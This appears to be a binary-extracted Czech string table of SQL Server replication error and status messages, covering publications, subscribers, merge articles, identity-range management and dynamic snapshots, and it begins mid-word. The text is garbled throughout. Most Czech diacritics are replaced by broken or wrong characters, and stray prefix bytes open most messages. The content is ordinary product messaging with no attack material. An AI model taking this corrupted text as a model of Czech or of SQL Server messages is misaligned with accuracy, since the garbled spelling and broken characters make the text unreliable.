l�nek m� nyn� nastaven�, kter� zakazuj� odes�l�n�, a vlastnost compensate_for_errors m� hodnotu true. M�stn� a anonymn� odbratel� se vaak budou chovat tak, jako by vlastnost compensate_for_errors mla hodnotu false.

�Hodnota parametru @subscriber_type je neplatn�. Platn� mo~nosti jsou local, global a anonymous.

�Parametr alt_snapshot_folder nemo~e b�t stejn� jako pracovn� adres�Y.

�N�zev publikace mus� b�t jedine
n�. Zadan� n�zev publikace %1!s! ji~ byl pou~it.

@Publikace %1!s! neexistuje.

<l�nek %1!s! neexistuje.

�Distributor nebyl nainstalov�n spr�vn. Publikov�n� datab�ze nelze povolit.

�Distributor nebyl nainstalov�n spr�vn. Publikov�n� datab�ze nelze zak�zat.

�l�nek %1!s! ji~ existuje v jin� publikaci s jinou mo~nost� sledov�n� sloupce.

`X�dek nelze odstranit, proto~e neexistuje.

l%1!s! nen� zad�n jako odbratel publikace %2!s!.

8Neplatn� typ publikace.

\Publikace %1!s! nepodporuje odbry %2!s!.

XDistributor nebyl nainstalov�n spr�vn.

�l�nek %1!s! ji~ existuje v jin� publikaci s jin�m pYeklada
em 
l�nko.

�Filtr 
l�nko nelze pYidat do 
l�nku %1!s! v publikaci %2!s!.

�Filtr 
l�nko nelze vyYadit z 
l�nku %1!s! v publikaci %2!s!.

Xl�nky nelze z publikace %1!s! vyYadit.

�Transakce byla vr�cena zpt. Nelze spustit aktiva
n� ud�lost. Opakujte pokus o proveden� transakce.

�l�nek %1!s! nelze zmnit, proto~e publikace ji~ byla aktivov�na.

tVlastnost Priority je pro m�stn� odbratele neplatn�.

DJe tYeba zadat n�zev 
l�nku.

0l�nek neexistuje.

XNem�te opr�vnn� prov�st tuto operaci.

�Chcete-li zmnit prioritu odbru, nespouatjte proceduru sp_changemergepullsubscription v odbrateli, ale spusete proceduru sp_changemergesubscription ve vydavateli. Dovodem je pouze zachov�n� zptn� kompatibility.

hHodnota priority by nemla b�t vta� ne~ 100,0.

�Doba uchov�n� distribuce mus� b�t vta� nebo rovna 0 a nesm� pYes�hnout datum 31.prosince 9999.

@Odbratel nen� registrov�n.

|Parametr @metatype mus� m�t hodnotu null, 1, 2, 5 nebo 6.

�l�nek s odlianou hodnotou %1!s! ji~ pro objekt %2!s! existuje.

`Aktu�ln� datab�zi nen� povoleno publikovat.

�Tabulku %1!s! nelze publikovat pro slu
ovac� replikaci, proto~e m� sloupec 
asov�ho raz�tka.

TTabulku %1!s! nelze znovu publikovat.

xN�zev profilu %1!s! ji~ pro zadan� typ agenta existuje.

�Parametr @agent_type mus� m�t hodnotu 1 (Sn�mek), 2 (ten� protokolu), 3 (Distribuce) nebo 4 (Slou
en�)

�Parametr @profile_type mus� m�t hodnotu 0 (Syst�m) nebo 1 (Vlastn�)

d�roveH kompatibility nesm� b�t mena� ne~ 60.

��roveH kompatibility t�to datab�ze mus� b�t nastavena na hodnotu 70 nebo vyaa�, aby bylo povoleno slu
ov�n� publikac�.

�Aktualizace sloupco s vlastnost� rowguidcol nen� povolena.

LTabulka %1!s!, ve kter� se pokoua�te o vlo~en�, aktualizaci 
i odstrann� dat, byla ozna
ena jako jen pro 
ten�. Tyto operace mo~e prov�st pouze proces slou
en�.

�Profil nelze vyYadit. Bu nen� definov�n, nebo je definov�n jako v�choz� profil.

\Profil nelze vyYadit, proto~e se pou~�v�.

8Profil nen� definov�n.

tN�zev parametru %1!s! ji~ pro zadan� profil existuje.

�V tabulce %1!s! nelze vytvoYit 
l�nek, proto~e m� v�ce ne~ %2!s! sloupco.

�l�nek slou
en�, kter� pou~�v� cyklick� spojovac� filtry, nelze ovYit.

LX�dek odbru nelze aktualizovat.

tX�dek s informacemi o odbrateli nelze aktualizovat.

pl�nky lze mnit nebo pYid�vat pouze ve vydavateli.

�Jako 
l�nek tabulky pro slu
ovac� replikaci lze publikovat pouze objekt tabulky.

xParametr status mus� m�t hodnotu active nebo unsynced.

�Parametr @sync_mode mus� m�t hodnotu native nebo character.

pPYi generov�n� pYezd�vky repliky doalo k probl�mu.

Parametr @property mus� m�t nkterou z n�sleduj�c�ch hodnot: sync_type, priority, description, subscriber_security_mode, subscriber_login, subscriber_password, publisher_security_mode, publisher_login, publisher_password, merge_job_login nebo merge_job_password.

�Parametr @subscription_type m� neplatnou hodnotu. Platn� mo~nosti jsou push, pull nebo both.

lVlastnost publikace %1!s! nesm� m�t hodnotu NULL.

�K odbru publikace %1!s! se nelze pYihl�sit pomoc� datab�ze odbratele %2!s!.

�Publikace %1!s! nepodporuje typ nosync, proto~e obsahuje tabulku, kter� nem� sloupec rowguidcol.

LNemo~ete nab�zet anonymn� odbr.

�Jsou pYiYazeny pouze ty priority, kter� jsou vta� nebo rovny 0 a mena� ne~ 100.

\Informace o licenci nelze z�skat spr�vn.

HNelze z�skat informace o verzi.

dProcedura sp_mergesubscription_cleanup se pou~�v� k vy
iatn� nab�zen�ch odbro. K vy
iatn� vy~�dan�ch a anonymn�ch odbro pou~ijte proceduru sp_dropmergepullsubscription.

4Tabulka %1!s!, ve kter� se pokoua�te o vlo~en�, aktualizaci 
i odstrann� dat, je v sou
asn� dob upgradov�na nebo inicializov�na pro slu
ovac� replikaci. Ve vydavateli nejsou povoleny zmny dat, dokud nen� dokon
en upgrade a nen� �span spuatn sn�mek. V odbrateli nejsou povoleny zmny dat, dokud nen� dokon
en upgrade, nebo dokud nen� �span pou~it �vodn� sn�mek a nen� synchronizov�n s vydavatelem.

Upgrade slu
ovac� replikace nen� dokon
en, dokud se nespust� agent sn�mku pro vydavatele a agent slou
en� pro vaechny dala� odbratele.

tNelze vyYadit odbratele %1!s!. Existuj� zde odbry.

�Neexistuje ulo~en� procedura odbratele %1!s!, kterou by bylo mo~n� aktualizovat.

�Do tabulky sysarticleupdates nelze vkl�dat pomoc� procedury sp_articlecolumn.

�Hodnota %1!s! je neplatn�. Platn� hodnoty jsou read only, sync tran, queued tran nebo failover.

�Hodnota %1!s! v %2!s! nen� platn�. Publikace nem� povolen� odbry %3!s!, kter� by bylo mo~n� aktualizovat.

Okam~it aktualizuj�c� odbr: Hodnoty xml vlo~en� nebo aktualizovan� odbratelem budou vydavateli replikov�ny jako hodnota NULL.

�Synchronn� ulo~enou proceduru aktualizace %1!s! v %2!s! nelze vyYadit.

hZdrojov� tabulka %1!s! nebyla v %2!s! nalezena.

XTabulka %1!s! nebyla v %2!s! nalezena.

�Odbry, kter� lze aktualizovat: Hodnoty text, ntext nebo image vlo~en� odbratelem budou m�t hodnotu NULL.

�Odbry, kter� lze aktualizovat: Hodnoty text, ntext nebo image nelze v odbrateli aktualizovat.

�Odbry, kter� lze aktualizovat: Nelze aktualizovat sloupce identity.

�Odbry, kter� lze aktualizovat: Nelze aktualizovat sloupce 
asov�ho raz�tka.

xOdbry, kter� lze aktualizovat: Transakce vr�cen� zpt.

�Datab�ze %1!s! neobsahuje ~�dn� replika
n� metadata pro Y�dek, jeho~ vlastnost ROWGUIDCOL odpov�d� hodnot zadan� pro parametr @rowguid procedury sp_showrowreplicainfo. Zkontrolujte, zda byla hodnota parametru @rowguid zad�na spr�vn.

4Odbry, kter� lze aktualizovat: X�dky ve vydavateli a odbrateli si navz�jem neodpov�daj�. Spusete agenta distribuce a aktualizujte Y�dky odbratele.

�Odbry, kter� lze aktualizovat: Replikovan� data nelze aktualizovat.

Odbry, kter� lze aktualizovat: Operace INSERT a DELETE jsou podporov�ny jen tehdy, m�-li publikovan� tabulka sloupec 
asov�ho raz�tka.

TOdbry, kter� lze aktualizovat: Operace INSERT v tabulk�ch se sloupci identity nebo 
asov�ho raz�tka jsou povoleny jen tehdy, je-li v odbrateli zad�n prim�rn� kl�
.

TOdbry, kter� lze aktualizovat: Operace UPDATE v tabulk�ch se sloupci identity nebo 
asov�ho raz�tka jsou povoleny jen tehdy, je-li v odbrateli zad�n prim�rn� kl�
.

�Procedura sp_MSmark_proc_norepl: mus� b�t 
lenem role db_owner nebo sysadmin.

�Procedura sp_MSmark_proc_norepl: neplatn� n�zev objektu %1!s!.

pl�nek %1!s! nelze ovYit, proto~e nen� aktivov�n.

`Ne�span� ovYen�. Objekt %1!s! neexistuje.

$(v�choz� c�l)

xHodnota %1!s! pro ulo~enou proceduru %2!s! nen� platn�.

�Odbr nen� inicializov�n. Spusete nejprve agenta distribuce.

Vlastnost 
l�nku status nemo~e obsahovat 64bitovou hodnotu DTS horizontal partitions, proto~e publikace nepovoluje transformaci dat.

<Jedin�mi platn�mi hodnotami vlastnosti status jsou DTS horizontal partitions a no DTS horizontal partitions, proto~e publikace povoluje transformaci dat.

DHodnoty DTS horizontal partitions a no DTS horizontal partitions nejsou platn�mi hodnotami vlastnosti status, proto~e publikace nepovoluje transformaci dat.

DPublikaci %1!s! nelze zmnit. Hodnotu parametru sync_method nelze zmnit na native nebo concurrent, proto~e v publikaci jsou povoleni heterogenn� odbratel�.

�Existuje nab�zen� odbr publikace. Nefunk
n� nab�zen� odbry vyYad�te pomoc� procedury sp_subscription_cleanup.

TBylo signalizov�no pYesko
en� chyby.

�Anonymn�ho agenta mohou vyYadit pouze %1!s! nebo 
lenov� role db_owner.

PYi pou~it� replikovan�ho pY�kazu %1!s! pro tabulku %2!s! s prim�rn�mi kl�
i %3!s! nebyl v odbrateli nalezen pY�sluan� Y�dek.

TPokra
ovat s chybami konzistence dat.

�Soubor odbru %1!s! nelze pYipojit. Zkontrolujte, zda je zkop�rovan� soubor odbru platn�.

�V dob, kdy agent 
te
ky protokolo replikuje datab�zi, nelze spustit %1!s!.

�Tento 
l�nek nelze pYidat. Publikace, ve kter�ch jsou povoleny transformovateln� odbry pomoc� slu~by DTS (Data Transformation Services), mohou zahrnovat pouze tabulky a indexovan� zobrazen� publikovan� jako tabulky.

OvYen� kontroln�ho sou
tu nen� podporov�no, proto~e v publikaci je povolena slu~ba DTS. Pou~ijte pouze ovYen� po
tu Y�dko.

�OvYen� pro 
l�nky, kter� jsou nastaven� pro vodorovn� odd�ly DTS, nen� podporov�no.

tOvYen� pro heterogenn� odbratele nen� podporov�no.

�K publikaci nelze pYidat heterogenn� odbr. V publikace nejsou povoleny heterogenn� odbry.

�K pYipojen� datab�ze odbro potYebujete opr�vnn� CREATE DATABASE.

 U~ivatel serveru %1!s! nen� v datab�zi %2!s! platn�m u~ivatelem. PYidejte nejprve do datab�ze u~ivatelsk� �
et nebo u~ivatelsk� �
et Guest.

0Zadan� re~im zabezpe
en� po~aduje, aby byl server %1!s! zaregistrov�n jako odkazovan� server. PYidejte server pomoc� procedury sp_addlinkedserver.

|Datab�zi odbro nelze zkop�rovat do existuj�c� datab�ze.

(V publika
n� datab�zi nelze nastavit mo~nost replika
n� datab�ze sync with backup, proto~e datab�ze se nach�z� v re~imu jednoduch�ho obnoven�.

�l�nek %1!s! nelze ovYit bez opr�vnn� SELECT ALL v tabulce %2!s!.

�Hodnota zadan� pro parametr @login nen� platn�. U~ivatel %1!s! nen� u~ivatelem datab�ze %2!s!. Nejprve do datab�ze pYidejte u~ivatelsk� �
et a pak se pokuste spustit ulo~enou proceduru sp_grant_publication_access nebo sp_revoke_publication_access.

Pro publikaci %1!s! nelze vytvoYit datab�zovou roli PY�stupov� seznam publikac� pro slu
ovac� replikaci. Replikace tuto roli pou~�v� ke kontrole pY�stupu k publikaci. Zkontrolujte, zda m�te dostate
n� opr�vnn� pro vytv�Yen� rol� v publika
n� datab�zi.

�Filtr %1!s! ji~ v publikaci %2!s! existuje. Zadejte jedine
n� n�zev pro parametr @filtername procedury sp_addmergefilter.

XID odd�lu mus� b�t vta� nebo rovno 0.

`NepodaYilo se vygenerovat dynamick� sn�mek.

`NepodaYilo se z�skat informace o ID odd�lu.

��lohu sn�mku odd�lu nelze vytvoYit. Pro publikaci %1!s! ji~ �loha existuje. Pou~�v� hodnoty zadan� pro parametr @suser_sname nebo @host_name procedury sp_adddynamicsnapshot_job. Pokud ji~ �loha existuje, ale nefunguje spr�vn, vyYate ji pomoc� procedury sp_dropdynamicsnapshot_job a vytvoYte novou �lohu pomoc� procedury sp_adddynamicsnapshot_job.

�Um�stn� pro generov�n� sn�mku odd�lu nelze nal�zt. Zkontrolujte, zda byla pro tuto publikaci zad�na platn� slo~ka sn�mko. Touto slo~kou mo~e b�t v�choz� slo~ka pYidru~en� k distributorovi nebo jin� slo~ka pYidru~en� k publikaci.

�NepodaYilo se vytvoYit �lohu dynamick�ho sn�mku, kter� m� dynamick� sn�mek vygenerovat.

��lohu sn�mku odd�lu nelze spustit. Zkontrolujte, zda je v distributorovi spuatn agent serveru SQL Server.

�V publikuj�c�m odbrateli nelze nal�zt informace o koYenov� publikaci.

�Byl nalezen nab�zen� odbr %1!s!. Pro nab�zen� odbr nelze pYidat agenta vy~�dan�ho odbru.

�Pro 
l�nek %1!s! nelze generovat ulo~en� procedury slu
ovac� replikace. Ulo~en� procedury jsou ve vydavateli generov�ny pYi spuatn� agenta sn�mku nebo pYi proveden� akce DDL (Data Definition Language). V odbrateli jsou generov�ny pYi pou~it� sn�mku agentem slou
en�. Zkontrolujte, zda agenti maj� patYi
n� opr�vnn� k vytv�Yen� procedur a zda procedury ji~ neexistuj�.

�V publikaci nelze povolit podporu jin�ch odbro ne~ ze syst�mu SQL Server, proto~e jsou v n� povoleny odbry, kter� lze aktualizovat. Chcete-li podporovat jin� odbry ne~ ze syst�mu SQL Server, vyYate existuj�c� publikaci a vytvoYte novou s vlastnostmi allow_sync_tran a allow_queued_tran nastaven�mi na hodnotu false.

�Pokud k publikaci existuj� odbry, nelze zmnit vlastnost povoluj�c� heterogenn� odbry.

�NepodaYilo se zkontrolovat, zda vlastnost subset_filterclause obsahuje dynamickou funkci.

tl�nek %1!s!, jeho~ vlastnost subset_filterclause %2!s! obsahuje jednu nebo v�ce dynamick�ch funkc�, nelze pYidat do publikace %3!s!, proto~e publikace by mohla m�t aktivn� odbry. Chcete-li pYidat 
l�nek a znovu inicializovat vaechny aktivn� odbry, nastavte parametr @force_reinit_subscription na hodnotu 1.

�Hodnotu vlastnosti validate_subscriber_info nelze pro publikaci %1!s! zmnit, proto~e publikace m� aktivn� odbry. Chcete-li tuto hodnotu zmnit a znovu inicializovat vaechny aktivn� odbry, nastavte parametr @force_reinit_subscription na hodnotu 1.

�Pro parametr @identityrangemangementoption byla zad�na neplatn� hodnota %1!s!. Platn� hodnoty jsou auto, manual a none.

�Pro publikace, ve kter�ch jsou povoleny odbry z jin�ch syst�mo ne~ ze syst�mu SQL Server, nelze zmnit vlastnost %1!s!.

�Publikace peer-to-peer nepodporuj� %1!s!. ZmHte hodnotu parametru %2!s!.

(Vlastnost %1!s! nelze zmnit. Tato publikace se pou~�v� v topologii peer-to-peer, kter� nedovoluje tuto vlastnost po vytvoYen� publikace mnit.

xPro tabulku %1!s!ji~ 
l�nek existuje, m� vaak odlianou hodnotu vlastnosti @delete_tracking. Tato hodnota mus� b�t stejn� ve vaech publikac�ch, ve kter�ch je tabulka publikov�na. Chcete-li tuto vlastnost zobrazit a zmnit v jin�ch 
l�nc�ch, pou~ijte ulo~en� procedury sp_helpmergearticle a sp_changemergearticle.

�Publikace, ve kter�ch jsou povoleny heterogenn� odbry, nepodporuj� %1!s!. ZmHte hodnotu parametru %2!s!.

�V publikaci %1!s! nelze povolit replikaci DDL (parametr @replicate_ddl parameter m� hodnotu true). Dovodem je �roveH kompatibility publikace, kter� je ni~a� ne~ 90RTM. V nov�ch publikac�ch nastavte v ulo~en� proceduYe sp_addmergepublication parametr @publication_compatibility_level na hodnotu 90RTM; v existuj�c�ch publikac�ch pou~ijte proceduru sp_changemergepublication.

Publikace %1!s! %2!s!. �roveH kompatibility publikace tedy nelze nastavit na hodnotu ni~a� ne~ %3!s!. Chcete-li nastavit ni~a� �roveH kompatibility, zaka~te tuto funkci a pak vyvolejte ulo~enou proceduru sp_changemergepublication a sni~te �roveH kompatibility.

Po~adovan� metadata pro publikaci %1!s! nelze v syst�mov� tabulce sysmergeschemachange nal�zt. Spusete znovu agenta sn�mku.

�V �loze dynamick�ho sn�mku nemohou m�t parametry dynamic_filter_login a dynamic_filter_hostname hodnotu NULL sou
asn.

�Dynamick� sn�mky jsou platn� pouze pro publikace slou
en�.

�Proces sn�mku odd�lu nelze dokon
it. Informace o maxim�ln�m 
asov�m raz�tku nelze z tabulky MSsnapshot_history v distribu
n� datab�zi na
�st. Zkontrolujte, zda je standardn� sn�mek aktu�ln� a dostupn�.

�Parametr @subset_filterclause nemo~e odkazovat na po
�tan� sloupec.

8Hodnota parametru @pub_identity_range mus� b�t n�sobkem pY�rostku pro sloupec identity. PY�rostek pro tabulku %1!s! a sloupec identity %2!s! je %3!s!.

0Hodnota parametru @identity_range mus� b�t n�sobkem pY�rostku pro sloupec identity. PY�rostek pro tabulku %1!s! a sloupec identity %2!s! je %3!s!.

�Hodnota funkce IDENT_CURRENT (%1!s!) je vta� ne~ hodnota ve sloupci max_used syst�mov� tabulky MSmerge_identity_range.

\Rozsah pro opakovan� publikov�n�, kter� publikuj�c� odbratel z�skal od vydavatele, nen� dostate
n velk� pro pYidlen� rozsahu zadan�ho parametrem @pub_identity_range.

TRozsah pro opakovan� publikov�n�, kter� publikuj�c� odbratel z�skal od vydavatele, nen� dostate
n velk� pro pYidlen� rozsahu zadan�ho parametrem @identity_range.

\Publikuj�c� odbratel nem� od koYenov�ho vydavatele %1!s! rozsah hodnot identity, kter� by mohl pYidlit sv�m odbratelom. Zkontrolujte, zda m� publikuj�c� odbratel u koYenov�ho vydavatele serverov� odbr publikace, a pak spuatn�m agenta slou
en� provete synchronizaci s koYenov�m vydavatelem.

�V syst�mov� tabulce MSmerge_identity_range nelze nal�zt polo~ku pYidlen� rozsahu identity vydavatele. Zkontrolujte, zda je vlastnost @identityrangemanagementoption nastavena na hodnotu auto.

TVydavateli nelze pYiYadit nov� rozsah hodnot identity, proto~e vaechny hodnoty pro datov� typy sloupce identity byly pou~ity. ZmHte datov� typ ve sloupci identity.

�Publikuj�c� odbratel nem� od koYenov�ho vydavatele rozsah hodnot identity, kter� by mohl pYidlit sv�m odbratelom. Spuatn�m agenta slou
en� provete synchronizaci s koYenov�m vydavatelem.

Nelze aktualizovat rozsah identity nebo omezen� CHECK vydavatele. Zajistte n�sleduj�c�: Hodnota sloupce identity nedos�hla maxima pro datov� typ sloupce identity. U~ivatel, kter� provedl posledn� vlo~en�, m� opr�vnn� vyYadit a znovu vytvoYit omezen� CHECK.

�l�nku %1!s! nelze pYidlit rozsah identity. Automatick� spr�va rozsahu identity nen� pro 
l�nek povolena.

�Odbrateli nelze pYidlit nov� rozsah, proto~e nen� k dispozici dostate
n� rozsah.

�Objekt odkazovan� zadan�m parametrem @article nebo @artid %1!s! nelze naj�t.

dOmezen� CHECK pro rozsah identity tabulky %1!s! nelze pYidat, vyYadit ani zmnit. Replikace toto omezen� pou~�v� k automatick� spr�v rozsahu identity. K t�to chyb obvykle doch�z�, pokud u~ivatel, kter� provedl posledn� vlo~en� do tabulky, nem� opr�vnn� pro proveden� zmn sch�matu tabulky. Pokud k t�to chyb dojde ve vydavateli, spusete proceduru sp_adjustpublisheridentityrange, pokud v odbrateli, spusete agenta slou
en�.

Polo~ku pYidlen� rozsahu identity pro odbratele nelze v tabulce MSmerge_identity_range naj�t. Inicializujte odbr znovu.

Hodnota parametru @host_name byla zad�na, ale ~�dn� 
l�nky v publikaci funkci HOST_NAME() k parametrizovan�mu filtrov�n� nepou~�vaj�.

Hodnota parametru @host_name byla zad�na, ale ~�dn� 
l�nky v publikaci funkci SUSER_SNAME() k parametrizovan�mu filtrov�n� nepou~�vaj�.

\Publikace nepou~�v� dynamick� filtrov�n�.

pHodnoty rozsahu identity nemohou m�t hodnotu NULL.

LPro 
l�nek %1!s! nelze aktualizovat rozsah identity vydavatele. Rozsah identity mo~ete aktualizovat spuatn�m ulo~en� procedury sp_adjustpublisheridentityrange.

@l�nek %1!s! s automatickou spr�vou rozsahu identity nelze pYidat. l�nek ji~ je publikov�n v transak
n� publikaci s automatickou spr�vou rozsahu identity.

�Pro zadanou publikaci %1!s! nelze naj�t regul�rn� �lohu sn�mku.

,Ulo~enou proceduru sp_adjustpublisheridentityrange nelze pro aktu�ln� datab�zi spustit, proto~e datab�ze je odbratel nebo publikuj�c� odbratel. Chcete-li upravit rozsah identity pro publikuj�c�ho odbratele nebo odbratele, provete synchronizaci s koYenov�m vydavatelem.

hMetadata pro d�vku Y�dko se nepodaYilo z�skat.

�D�vkov� odstrann� 
l�nku pouze ke sta~en� %1!s! se nezdaYilo.

PYi pokusu o d�vkov� odstrann� tabulky %1!s! doalo k odstrann� v�ce Y�dko, ne~ se o
ek�valo. Zastavte a znovu spusete agenta slou
en�.

�Filtr %1!s! nelze vyYadit. Filtr zadan� pro parametr @filtername nelze naj�t.

�Parametr %1!s! nemo~e m�t hodnotu NULL nebo b�t pr�zdn�, kdy~ je tato procedura spuatna z datab�ze %2!s!.

�Parametr %1!s! mus� m�t hodnotu NULL, kdy~ tato procedura nen� spuatna z datab�ze %2!s!.

�ID trasovac�ho tokenu (%1!s!) pro vydavatele %2!s! datab�zi %3!s! publikaci %4!s! nelze naj�t. Seznam platn�ch ID trasovac�ch tokeno na
tete pomoc� ulo~en� procedury sp_helptracertokens.

�Kontrola pro vydavatele, kter� vy~aduje nov� pYidlen� rozsahu identity, se pro tabulku %1!s! nezdaYila. Tato kontrola prob�h� v~dy, kdy~ jsou spuatni agenti slou
en� a sn�mku. Spusete agenta slou
en� a agenta sn�mku znovu.

@Pro tabulku %1!s! nelze nastavit rozsah identity vydavatele. OvYte, zda byly pYi vytvoYen� 
l�nku zad�ny pY�sluan� rozsahy, a spusete agenta sn�mku znovu.

�Upgrade metadat a aktiva
n�ch ud�lost� syst�mu SQL Server 2005 odbratele slu
ovac� replikace se nezdaYil.

hNejm�n jeden Y�dek, kter� m� b�t vlo~en do tabulky %1!s! pomoc� procedury d�vkov�ho vlo~en�, se vyskytoval v tabulce MSmerge_tombstone. Slu
ovac� replikace nemo~e pou~�t d�vkov� vlo~en�. K tomu obvykle doch�z�, kdy~ jsou Y�dky pYesunuty z jednoho odd�lu do jin�ho. }�dn� akce nen� po~adov�na, ale pokud k tomuto stavu doch�z� 
asto, ovYte, zda jsou data optim�ln rozdlena. D�vkov� vlo~en� mo~e zv�ait v�kon slu
ovac� replikace.

hNejm�n jeden Y�dek, kter� m� b�t vlo~en do tabulky %1!s! pomoc� procedury d�vkov�ho vlo~en�, se vyskytoval v tabulce MSmerge_contents. Slu
ovac� replikace nemo~e pou~�t d�vkov� vlo~en�. K tomu obvykle doch�z�, kdy~ jsou Y�dky pYesunuty z jednoho odd�lu do jin�ho. }�dn� akce nen� po~adov�na, ale pokud k tomuto stavu doch�z� 
asto, ovYte, zda jsou data optim�ln rozdlena. D�vkov� vlo~en� mo~e zv�ait v�kon slu
ovac� replikace.

�Nejm�n jeden Y�dek v tabulce %1!s!, kter� m� b�t aktualizov�n, obsahuje zmny ve sloupci %2!s!, kter� je pou~�v�n nejm�n jedn�m filtrem. Slu
ovac� aplikace nemo~e pro tyto zmny pou~�t d�vkov� zpracov�n�. }�dn� akce nen� po~adov�na, ale pokud k tomuto stavu doch�z� 
asto, ovYte, zda jsou data optim�ln rozdlena. D�vkov� aktualizace mo~e zv�ait v�kon slu
ovac� replikace.

�Pouze %1!s! z celkov�ho po
tu %2!s! Y�dko bylo d�vkovou aktualizac� tabulky %3!s! aktualizov�no. Dala� Y�dky nebylo mo~n� aktualizovat, proto~e byly odstranny. }�dn� akce nen� po~adov�na, ale pokud k tomuto stavu doch�z� 
asto, pokuste se vyhnout konfliktom typu aktualizace-odstrann�. D�vkov� aktualizace mo~e zv�ait celkov� v�kon.

�Objekt %1!s! je ozna
en jako dodan� spole
nost� Microsoft (ms_shipped). Nelze jej pYidat jako 
l�nek slu
ovac� replikace.

(l�nek %1!s! nelze z publikace %2!s! vyYadit. Je to jedin� 
l�nek t�to publikace, kter� pou~�v� parametrizovan� filtry. VyYazen� tohoto 
l�nku zmn� publikaci na statickou publikaci, co~ vy~aduje znovu inicializovat vaechny odbratele. Chcete-li 
l�nek vyYadit a vaechny aktivn� odbry inicializovat znovu, zadejte pro hodnotu 1 parametr @force_reinit_subscription procedury sp_dropmergepublication.

�Publikace pou~�v� k dynamick�mu filtrov�n� funkci HOST_NAME(), ale hodnota pro parametr @host_name nebyla zad�na.

�Publikace pou~�v� k dynamick�mu filtrov�n� funkci SUSER_SNAME(), ale hodnota pro parametr @suser_sname nebyla zad�na.

�Pl�novan� �loha dynamick�ho sn�mku nemo~e b�t zmnna distributorem.

�Pl�novan� �loha dynamick�ho sn�mku nemo~e b�t zmnna z dovodu nejm�n jedn� chyby.

(Nejm�n jeden Y�dek vlo~en� do tabulky %1!s! byl pYi publikov�n� tabulky s vlastnost� partition_options nastavenou na hodnotu %2!s! mimo odd�l.

$Datov� typ sloupce identity tabulky %1!s! je tinyint. Typ tinyint nem� k dispozici dostatek 
�sel pro automatick� rozsah identity slou
en�. Sloupec identity zmHte, aby ml vta� datov� typ a pYidejte slu
ovac� 
l�nek se spr�vou automatick�ho rozsahu identity slou
en�.

�PYi protokolov�n� informac� o pYidlen� rozsahu identity distributorem vydavateli %1!s! datab�zi publisher_db %2!s! publikaci %3!s! a 
l�nku %4!s! bylo zjiatno nespr�vn� pYidlen� rozsahu identity.

�Vlastnost dynamick�ch filtro publikace %1!s! byla nastavena nespr�vn. Pomoc� procedury sp_changemergepublication mo~ete hodnotu nastavit na hodnotu true, pokud publikace pou~�v� parametrizovan� filtry, a na hodnotu false, pokud je nepou~�v�.

�Pro datab�zi %1!s! se nepodaYilo z�skat z�mek administrativn� aplikace pro slou
en� replikace. K tomu mo~e doj�t, pokud je spuatn aktivn� sn�mek a probhne pokus o zmnu sch�matu (DDL) nebo zmnu administrativn� procedury.

�Doalo k chyb administrativn� ulo~en� procedury %1!s! pro slou
en� replikace pro publikaci %2!s!. K tomu mo~e doj�t, pokud je spuatn aktivn� sn�mek a je vol�na administrativn� procedura.

�PY�prava 
l�nku %1!s! v publikaci %2!s! pro slu
ovac� replikaci se nezdaYila.

�Pro objekt %1!s! se nepodaYilo vytvoYit aktiva
n� ud�losti slu
ovac� replikace.

�Pro publikaci slu
ovac� replikace %1!s! se nepodaYilo vytvoYit zobrazen� publikace.

�ProceduYe sp_addmergelogsettings se nepodaYilo pYidat nastaven� protokolu. Pokud nastaven� protokolu pro tento odbr existuj�, mo~ete je zmnit pomoc� procedury sp_changemergelogsettings nebo odebrat pomoc� procedury sp_dropmergelogsettings.

dNastaven� protokolu pro server odbratele %1!s!, datab�zi odbratele %2!s!, webov� server %3!s! neexistuj�. Nastaven� mo~ete pYidat pomoc� procedury sp_addmergelogsettings.

�ProceduYe sp_changemergelogsettings se nepodaYilo aktualizovat nastaven� protokolu. Zkontrolujte hodnoty parametru.

�Nastaven� protokolu pro server odbratele %1!s!, datab�zi odbratele %2!s!, webov� server %3!s! neexistuj�.

�ProceduYe sp_dropmergelogsettings se nepodaYilo odebrat nastaven� protokolu.

Akce %1!s! se nezdaYila. Hodnota parametru %2!s! je neplatn�. Platn� hodnoty parametro jsou: @support_options [0-5], @log_severity [1-4], @log_file_size [2 000 000-999 000 000], @no_of_log_files [2-500], @upload_interval [0-40320], @delete_after_upload [0-1].

�Po
�tan� sloupec %1!s! lze pYidat do publikace pouze po pYid�n� z�visl�ho objektu %2!s!.

�Pro �lohu dynamick�ho sn�mku s parametrem job_id %1!s! pro publikaci %2!s! se nepodaYilo naj�t platn� pY�kazov� Y�dek.

Um�stn� dynamick�ho sn�mku pro �lohu dynamick�ho sn�mku s parametrem job_id %1!s! v publikaci %2!s! se nepodaYilo aktualizovat.

�Um�stn� dynamick�ho sn�mku v nejm�n jedn� �loze dynamick�ho sn�mku se pro danou publikaci nepodaYilo zmnit.

�Pro parametr @subscription_type byla zad�na neplatn� hodnota. Platn� hodnoty jsou push, pull, both, anonymous nebo all.

�Hodnotu pro maxim�ln� pYidlen� identity pro 
l�nek %1!s! v publikaci %2!s! se nepodaYilo obnovit.

�Maxim�ln� pYidlenou hodnotu identity pro 
l�nek %1!s! v publikaci %2!s! nelze pro distributora naj�t.

|Chcete-li parametr @upload_first nastavit na hodnotu true, je tYeba nastavit vlastnost publikace publication_compatibility_level na hodnotu 80RTM nebo vyaa�. Pokud tuto funkci chcete pou~�t, nastavte pomoc� procedury sp_changemergepublication vlastnost publication_compatibility_level na hodnotu 80RTM nebo vyaa�.

�Tato edice syst�mu SQL Server nepodporuje publikace. VyYazov�n� existuj�c�ch publikac�.

4Nejm�n jeden Y�dek aktualizovan� v tabulce %1!s! byl pYi publikov�n� tabulky s vlastnost� partition_options nastavenou na hodnotu %2!s! mimo odd�l.

,Nejm�n jeden Y�dek odstrann� z tabulky %1!s! byl pYi publikov�n� tabulky s vlastnost� partition_options nastavenou na hodnotu %2!s! mimo odd�l.

�l�nek %1!s! nelze pYidat do publikace %2!s!. Publikace ji~ obsahuje 256 
l�nko, co~ je maxim�ln� povolen� po
et.

Pl�nek %1!s! se zhuatn�m sloupcem nebo sadou sloupco nelze pYidat do slu
ovac� publikace, proto~e slu
ovac� replikace nepodporuje zhuatn� sloupce a sady sloupco.

�Pro 
l�nek %1!s! nen� operace DDL podporov�na. Pokud je sloupec v operaci DDL povolen pro tY�du FILESTREAM nebo je typu hierarchyid, geometry, geography, datetime2, date, time nebo datetimeoffset, je tYeba nastavit �roveH kompatibility publikace na hodnotu alespoH 100RTM. Pro operace DDL, kter� vyu~�vaj� sloupce FILESTREAM a hierarchyid, mus� b�t re~im sn�mko nativn�. Znakov� re~im po~adovan� pro odbratele se syst�mem SQL Server Compact nen� podporov�n.

